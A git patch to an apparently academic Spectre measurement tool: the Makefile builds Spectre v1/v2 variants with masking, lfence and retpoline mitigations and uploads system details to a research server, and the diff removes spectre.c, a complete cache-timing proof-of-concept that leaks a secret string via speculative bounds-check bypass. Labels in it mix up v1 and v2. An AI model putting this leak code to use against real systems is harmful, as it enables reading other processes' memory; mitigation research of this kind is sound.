From 281af2ad01232e0aa6a590a796ab7d5cecd506c4 Mon Sep 17 00:00:00 2001 From: Samuel Aubertin Date: Thu, 27 Jan 2022 15:36:02 +0100 Subject: [PATCH] Add the missing Makefile ! --- Makefile | 149 +++++++++++++++++++++------- README.md | 10 +- spectre.c | 292 ------------------------------------------------------ 3 files changed, 122 insertions(+), 329 deletions(-) delete mode 100644 spectre.c diff --git a/Makefile b/Makefile index 6a54724..cba4a94 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -# Makefile - CVE-2017-5715 user-to-user sucess rate measurement +# Makefile - CVE-2017-5753 user-to-user sucess rate measurement # # Copyright (c) 2022 Samuel AUBERTIN # @@ -17,16 +17,15 @@ .SILENT: .NOTPARALLEL: -EXECUTABLES = clang gcc uuid rsync lld +EXECUTABLES = clang gcc uuid rsync lld taskset DEPENDENCIES := $(foreach exec,$(EXECUTABLES), $(if $(shell which $(exec) 2> /dev/null),X,$(error "No '$(exec)' in PATH, please install it and restart octopus !"))) - ### Generic flags -PROG= spectre -CFLAGS= -march=native +SRCS= spectre_v1 spectre_v2 +CFLAGS= -march=native #-g CFLAGS+= -W CFLAGS+= -Wall -CFLAGS+= -Werror +CFLAGS+= -Werror -Wextra CFLAGS+= -Wno-unused-parameter CFLAGS+= -Wno-missing-field-initializers LDFLAGS= -fuse-ld=lld @@ -36,16 +35,33 @@ CCS= clang gcc OPTIMIZATIONS= 0 1 2 3 RETPOLINE= mretpoline UUID:= $(shell uuid) -RESULTS_FILE= results-$(UUID).log +RESULTS_FILE:= results-$(UUID).json SSH_KEY= octoupload TIMES= 3 -#FLAGS= -v +FLAGS= -j ### Octopus internals -TEE= | tee -a $(RESULTS_FILE) +CPU:= $(shell LC_ALL=en_US.UTF-8 lscpu | grep "Model name" | cut -d":" -f 2 | sort | uniq | awk '{$$1=$$1;print}') +UCODE:= $(shell grep microcode /proc/cpuinfo | sort | uniq | awk '{print $$NF}') +KERN:= $(shell uname -svm) +CLANGV:= $(shell clang -v 2>&1 | head -n 1) +GCCV:= $(shell gcc -v 2>&1 | grep 'gcc version') +VULN1:= $(strip $(shell LC_ALL=en_US.UTF-8 lscpu | grep 'Spectre v1' | cut -d":" -f 2-)) +VULN2:= $(strip $(shell LC_ALL=en_US.UTF-8 lscpu | grep 'Spectre v2' | cut -d":" -f 2-)) + +ifndef PROGRESS +HIT_TOTAL != ${MAKE} ${MAKECMDGOALS} --dry-run PROGRESS="HIT_MARK" | grep -c "HIT_MARK" +HIT_COUNT = $(eval HIT_N != expr ${HIT_N} + 1)${HIT_N} +PROGRESS = echo "[`expr ${HIT_COUNT} '*' 100 / ${HIT_TOTAL}`%]" +endif + +SUB_ONE= $(word 1, $(subst -, ,$@)) +SUB_TWO= $(word 2, $(subst -, ,$@)) +SUB_THREE= $(word 3, $(subst -, ,$@)) +SUB_FOUR= $(word 4, $(subst -, ,$@)) ### Compilers -CPROGS= $(foreach C, $(CCS), $(addsuffix -$(C), $(PROG))) +CPROGS= $(foreach C, $(CCS), $(addsuffix -$(C), $(SRCS))) ### Optimizations OPROGS= $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS))) @@ -53,20 +69,40 @@ OPROGS= $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS))) ### Static SPROGS= $(addsuffix -static, $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS)))) +##### V1 +### Masking mitigation +MPROGS= $(addsuffix -mask, $(filter spectre_v1%, $(OPROGS))) +MSPROGS= $(addsuffix -mask, $(filter spectre_v1%, $(SPROGS))) + +### Lfence mitigation +LPROGS= $(addsuffix -fence, $(filter spectre_v1%, $(OPROGS))) +LSPROGS= $(addsuffix -fence, $(filter spectre_v1%, $(SPROGS))) + +### Masking + Lfence mitigations +MLPROGS= $(addsuffix -maskfence, $(filter spectre_v1%, $(OPROGS))) +MLSPROGS= $(addsuffix -maskfence, $(filter spectre_v1%, $(SPROGS))) + +###### V2 ### Retpoline ## clang # dynamic -RCPROGS= $(addsuffix -retpoline, $(filter spectre-clang%, $(OPROGS))) +RCPROGS= $(addsuffix -retpoline, $(filter spectre_v2-clang%, $(OPROGS))) # static -RSCPROGS= $(addsuffix -retpoline, $(filter spectre-clang%, $(SPROGS))) +RSCPROGS= $(addsuffix -retpoline, $(filter spectre_v2-clang%, $(SPROGS))) ## gcc # dynamic -RGPROGS= $(addsuffix -retpoline, $(filter spectre-gcc%, $(OPROGS))) +RGPROGS= $(addsuffix -retpoline, $(filter spectre_v2-gcc%, $(OPROGS))) # static -RSGPROGS= $(addsuffix -retpoline, $(filter spectre-gcc%, $(SPROGS))) +RSGPROGS= $(addsuffix -retpoline, $(filter spectre_v2-gcc%, $(SPROGS))) PROGS= $(OPROGS) PROGS+= $(SPROGS) +PROGS+= $(MPROGS) +PROGS+= $(MSPROGS) +PROGS+= $(LPROGS) +PROGS+= $(LSPROGS) +PROGS+= $(MLPROGS) +PROGS+= $(MLSPROGS) PROGS+= $(RCPROGS) PROGS+= $(RSCPROGS) PROGS+= $(RGROGS) @@ -74,6 +110,7 @@ PROGS+= $(RSGPROGS) all: upload + echo -e "\033[1mThank you for helping science today !\033[0m" upload: $(RESULTS_FILE) echo -e "\033[4mUploading $^ to www.sk4.nz\033[0m" @@ -83,7 +120,7 @@ upload: $(RESULTS_FILE) build: $(PROGS) -%.log: build +$(RESULTS_FILE): build echo -e "\033[1m\033[94m________ __"; echo "\_____ \ _____/ |_ ____ ______ __ __ ______"; echo " / | \_/ ___\ __\/ _ \\____ \| | \/ ___/"; @@ -91,40 +128,84 @@ build: $(PROGS) echo "\_______ /\___ >__| \____/| __/|____//____ >"; echo -e " \/ \/ |__| \/\033[0m"; echo -e " Samuel AUBERTIN - EURECOM\n" - echo -e "\033[4mUUID\033[0m\t\t$(UUID)" $(TEE) - echo -e "\033[4mCPU\033[0m\t\t"$$(LC_ALL=en_US.UTF-8 lscpu | grep "Model name" | cut -d":" -f 2 | sort | uniq | awk '{$$1=$$1;print}') $(TEE) - echo -e "\033[4mMicrocode\033[0m\t"$$(grep microcode /proc/cpuinfo | sort | uniq | awk '{print $$NF}') $(TEE) - echo -e "\033[4mKernel\033[0m\t\t"$$(uname -svm) $(TEE) - echo -e "\033[4mClang\033[0m\t\t"$$(clang -v 2>&1 | head -n 1) $(TEE) - echo -e "\033[4mGCC\033[0m\t\t"$$(gcc -v 2>&1 | grep 'gcc version') $(TEE) - echo -e "\033[4mVulnerablities\033[0m" $(TEE) - LC_ALL=en_US.UTF-8 lscpu | grep Vuln | awk '{s = ""; for(i = 2; i <= NF; i++) s = s $$i " "; print "\t\t" s }' $(TEE) - echo - taskset 01 ./$(firstword $(PROGS)) -c $(TEE); \ + echo -e "\033[4mUUID\033[0m\t\t$(UUID)" + echo -e "\033[4mCPU\033[0m\t\t$(CPU)" + echo -e "\033[4mMicrocode\033[0m\t$(UCODE)" + echo -e "\033[4mKernel\033[0m\t\t$(KERN)" + echo -e "\033[4mClang\033[0m\t\t$(CLANGV)" + echo -e "\033[4mGCC\033[0m\t\t$(GCCV)" + echo -e "\033[4mSpectre v1\033[0m\t$(VULN1)" + echo -e "\033[4mSpectre v2\033[0m\t$(VULN2)" + echo -e "{ \"$(UUID)\": {" >> $@ + echo -e "\"cpu\": \"$(CPU)\"," >> $@ + echo -e "\"microcode\": \"$(UCODE)\"," >> $@ + echo -e "\"kernel\": \"$(KERN)\"," >> $@ + echo -e "\"clang\": \"$(CLANGV)\"," >> $@ + echo -e "\"gcc\": \"$(GCCV)\"," >> $@ + echo -e "\"spectre_v1\": \"$(VULN1)\"," >> $@ + echo -e "\"spectre_v2\": \"$(VULN2)\"," >> $@ + echo -e "\"results\": [" >> $@ for p in $(PROGS); do \ for t in $$(seq $(TIMES)); do \ - sleep 1; \ - taskset 01 ./$$p $(FLAGS) $(TEE); \ + sleep 0.1; \ + taskset 01 ./$$p $(FLAGS) >> $@; \ + if ! [ "$$p" = "$(lastword $(PROGS))" ]; \ + then echo ',' >> $@; \ + else if ! [ $$t -eq $(TIMES) ]; \ + then echo ',' >> $@; fi; \ + fi; \ done \ done + echo -e "\n]}}" >> $@ $(OPROGS): - $(word 2, $(subst -, ,$@)) $(CFLAGS) $(LDFLAGS) -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c + @$(PROGRESS) $(SUB_TWO) $(CFLAGS) $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(CFLAGS) $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c $(SPROGS): - $(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c + @$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + + +$(MPROGS): + @$(PROGRESS) $(SUB_TWO) $(CFLAGS) -DMASKING_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(CFLAGS) -DMASKING_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + +$(MSPROGS): + @$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DMASKING_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DMASKING_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c + +$(LPROGS): + @$(PROGRESS) $(SUB_TWO) $(CFLAGS) -DLFENCE_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(CFLAGS) -DLFENCE_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + +$(LSPROGS): + @$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DLFENCE_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DLFENCE_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c + +$(MLPROGS): + @$(PROGRESS) $(SUB_TWO) $(CFLAGS) -DLFENCE_MITIGATION -DMASKING_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(CFLAGS) -DLFENCE_MITIGATION -DMASKING_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c + +$(MLSPROGS): + @$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DLFENCE_MITIGATION -DMASKING_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DLFENCE_MITIGATION -DMASKING_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c $(RCPROGS): - $(word 2, $(subst -, ,$@)) $(CFLAGS) -mretpoline $(LDFLAGS) -z retpolineplt -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c + @$(PROGRESS) $(SUB_TWO) $(CFLAGS) -mretpoline $(LDFLAGS) -z retpolineplt -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(CFLAGS) -mretpoline $(LDFLAGS) -z retpolineplt -$(SUB_THREE) -o $@ $(SUB_ONE).c $(RSCPROGS): - $(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -mretpoline -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c + @$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -mretpoline -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -mretpoline -$(SUB_THREE) -o $@ $(SUB_ONE).c $(RGPROGS): - $(word 2, $(subst -, ,$@)) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register $(LDFLAGS) -z retpolineplt -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c + @$(PROGRESS) $(SUB_TWO) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register $(LDFLAGS) -z retpolineplt -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register $(LDFLAGS) -z retpolineplt -$(SUB_THREE) -o $@ $(SUB_ONE).c $(RSGPROGS): - $(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c + @$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register -$(SUB_THREE) -o $@ $(SUB_ONE).c + $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register -$(SUB_THREE) -o $@ $(SUB_ONE).c clean: - rm -rf $(PROGS) *.log + rm -rf $(PROGS) *.json diff --git a/README.md b/README.md index c47065a..0caffbe 100644 --- a/README.md +++ b/README.md @@ -5,9 +5,9 @@ Samuel AUBERTIN - EURECOM - 2022 ![SPECTRE Octopus Logo](logo.png "SPECTRE Octopus Logo") -**OCTOPUS** is a [Spectre v2](https://spectreattack.com/spectre.pdf) (_Branch Target Injection_) compiler flag tester for [CVE 2017-5715](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715). +**OCTOPUS** is a [Spectre](https://spectreattack.com/spectre.pdf) V1 (_Bounds Check Bypass_) + V1 (_Branch Target Injection_) compiler flag tester. -It measures the success rate of the same attack using different compilers: +It measures the success rate of the attacks using different compilers: - GCC - CLANG @@ -30,6 +30,11 @@ And compilation/linking flags such as: ```make``` + +### Build only + +```make build``` + ## Results aggregation Results are automatically uploaded to a server with ```sftp``` using a dedicated account. @@ -37,7 +42,6 @@ Results are automatically uploaded to a server with ```sftp``` using a dedicated Here is an exhaustive list of the data sent: - CPU model name and microcode version. - Kernel version and compilation date. -- The kernel compilation flag ```CONFIG_RETPOLINE```. - GCC and clang versions. - The list of mitigations enabled at runtime. - The cache timings of the processor computed by the ```calibrate_threshold()``` function. diff --git a/spectre.c b/spectre.c deleted file mode 100644 index bc2e4ce..0000000 --- a/spectre.c +++ /dev/null @@ -1,292 +0,0 @@ -/* spectre.c - CVE-2017-5715 user-to-user sucess rate measurement - * - * Borrows code from - * - https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6 - * - https://github.com/genua/meltdown - * - * Copyright (c) 2022 Samuel AUBERTIN - * - * Permission to use, copy, modify, and distribute this software for any - * purpose with or without fee is hereby granted, provided that the above - * copyright notice and this permission notice appear in all copies. - * - * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES - * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR - * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN - * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF - * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - */ - -#include -#include -#include -#include -#include -#include /* for rdtscp and clflush */ - -#if defined(__i386__) || defined(__amd64__) -#define CACHELINESIZE 64 -static int _has_rdtscp; -#else -#error "unsupported architecture" -#endif - -#define HAVE_RDTSCP (1U << 27) - -char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion."; - -unsigned int array1_size = 16; -uint8_t unused1[64]; -uint8_t array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; -uint8_t unused2[64]; -uint8_t array2[256 * 512]; -uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ -unsigned cache_hit_threshold; -int verbose; - -static inline unsigned -timed_access( - volatile uint8_t *addr - ) -{ - uint64_t t0, t1; - #pragma GCC diagnostic ignored "-Wuninitialized" - unsigned int junk = junk; - - if (_has_rdtscp) { - t0 = __rdtscp(& junk); - junk |= *addr; - t1 = __rdtscp(& junk); - } else { - t0 = __rdtsc(); - junk |= *addr; - t1 = __rdtsc(); - } - - return (unsigned)(t1 - t0); -} - -static inline void -native_cpuid( - unsigned int *eax, - unsigned int *ebx, - unsigned int *ecx, - unsigned int *edx - ) -{ - asm volatile("cpuid" - : "=a" (*eax), - "=b" (*ebx), - "=c" (*ecx), - "=d" (*edx) - : "0" (*eax), "2" (*ecx)); -} - -static void -calibrate_threshold( - int verbose, - unsigned int *threshold - ) -{ - volatile char buf[2 * CACHELINESIZE]; - volatile uint8_t *bufp; - int i; - const int cnt = 1000; - uint64_t tcache, tmem; - unsigned eax, ebx, ecx, edx; - __attribute__((unused)) volatile int junk = 0; - - eax = 0x80000001; // Has RDTSCP ? - ecx = 0; - native_cpuid(&eax, &ebx, &ecx, &edx); - if (edx & HAVE_RDTSCP) { - switch (verbose) { - case 1: - fprintf(stderr, "CPU has RDTSCP.\n"); - break; - case 2: - fprintf(stdout, "CPU has RDTSCP.\n"); - break; - } - _has_rdtscp = 1; - } else { - switch (verbose) { - case 1: - fprintf(stderr, "WARNING: CPU has no RDTSCP support, using RDTSC.\n"); - break; - case 2: - fprintf(stdout, "WARNING: CPU has no RDTSCP support, using RDTSC.\n"); - break; - } - _has_rdtscp = 0; - } - - bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINESIZE) & - ~(CACHELINESIZE - 1))); - - junk |= *bufp; - for (i = 0, tcache = 0; i < cnt; i++) - tcache += timed_access(bufp); - tcache /= cnt; - - for (i = 0, tmem = 0; i < cnt; i++) { - _mm_clflush((const void *)bufp); - _mm_mfence(); - tmem += timed_access(bufp); - } - tmem /= cnt; - if (threshold != NULL) { - *threshold = tcache + (tmem - tcache) / 2; - if (*threshold == (unsigned int)tmem) - (*threshold)--; - } - - switch (verbose) { - case 1: - fprintf(stderr, "Access time: memory %lu, cache %lu", tmem, tcache); - if (threshold) - fprintf(stderr, " -> threshold %d", *threshold); - fprintf(stderr, "\n"); - break; - case 2: - fprintf(stdout, "Access time: memory %lu, cache %lu", tmem, tcache); - if (threshold) - fprintf(stdout, " -> threshold %d", *threshold); - fprintf(stdout, "\n"); - break; - } - return; -} - -void -victim_function( - size_t x - ) -{ - if (x < array1_size) { - temp &= array2[array1[x] * 512]; - } -} - -void -leak( - size_t malicious_x, - uint8_t value[2], - int score[2], - unsigned cache_hit_threshold - ) -{ - static int results[256]; - int tries, i, j, mix_i; - unsigned int junk = 0; - size_t training_x, x; - volatile uint8_t *addr; - - for (i = 0; i < 256; i++) - results[i] = 0; - for (tries = 999; tries > 0; tries--) { - - /* Flush array2[256*(0..255)] from cache */ - for (i = 0; i < 256; i++) - _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ - - /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ - training_x = tries % array1_size; - for (j = 29; j >= 0; j--) { - _mm_clflush(&array1_size); - for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */ - //_mm_mfence(); NOT WORKING - /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ - /* Avoid jumps in case those tip off the branch predictor */ - x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ - x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ - x = training_x ^ (x & (malicious_x ^ training_x)); - /* Call the victim! */ - victim_function(x); - - } - - /* Time reads. Order is lightly mixed up to prevent stride prediction */ - for (i = 0; i < 256; i++) { - mix_i = ((i * 167) + 13) & 255; - addr = & array2[mix_i * 512]; - if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) - results[mix_i]++; /* cache hit - add +1 to score for this value */ - } - - /* Locate highest results in j */ - j = -1; - for (i = 0; i < 256; i++) { - if (j < 0 || results[i] >= results[j]) { - j = i; - } - } - if (results[j] >= 3) - break; - } - - results[0] ^= junk; /* use junk so code above won’t get optimized out*/ - value[0] = (uint8_t) j; - score[0] = results[j]; -} - -int -main( - int argc, - char** argv - ) -{ - int o; - size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */ - int i, score[2], len = (int)strlen(secret); - uint8_t value[2]; - unsigned successes = 0; - - while ((o = getopt(argc, argv, "t:vc")) != EOF) { - switch (o) { - case 't': - cache_hit_threshold = atoi(optarg); - break; - case 'v': - verbose++; - break; - case 'c': - calibrate_threshold(2, &cache_hit_threshold); - return 0; - default: - usage: - fprintf(stderr, "usage: %s [-v] [-c] " - "[-t threshold]\n\t-v\t\tverbose\n" - "\t-c\t\tcalibrate only\n" - "\t-t\t\tfixed threshold, in milliseconds\n", argv[0]); - return 1; - } - } - if (argc != optind) - goto usage; - - calibrate_threshold(verbose, cache_hit_threshold ? NULL : &cache_hit_threshold); - for (i = 0; i < (int)sizeof(array2); i++) - array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ - if(verbose) { - fprintf(stderr, "Leaking %d bytes using Branch Target Injection:\n", (int)strlen(secret)); - } - while (--len >= 0) { - leak(malicious_x++, value, score, cache_hit_threshold); - if(score[0] == 3 && value[0] > 31 && value[0] < 127) { - successes++; - fprintf(stderr, "\033[32m%c\033[0m", (value[0])); - } else { - fprintf(stderr, "\033[31m?\033[0m"); - } - } - fprintf(stderr, "\n"); - printf("%-40s\tthreshold %-3d ms\tsuccess %3.0f %%\n", - argv[0] + 2, - cache_hit_threshold, - 100 * successes / (float)strlen(secret)); - - return 0; -}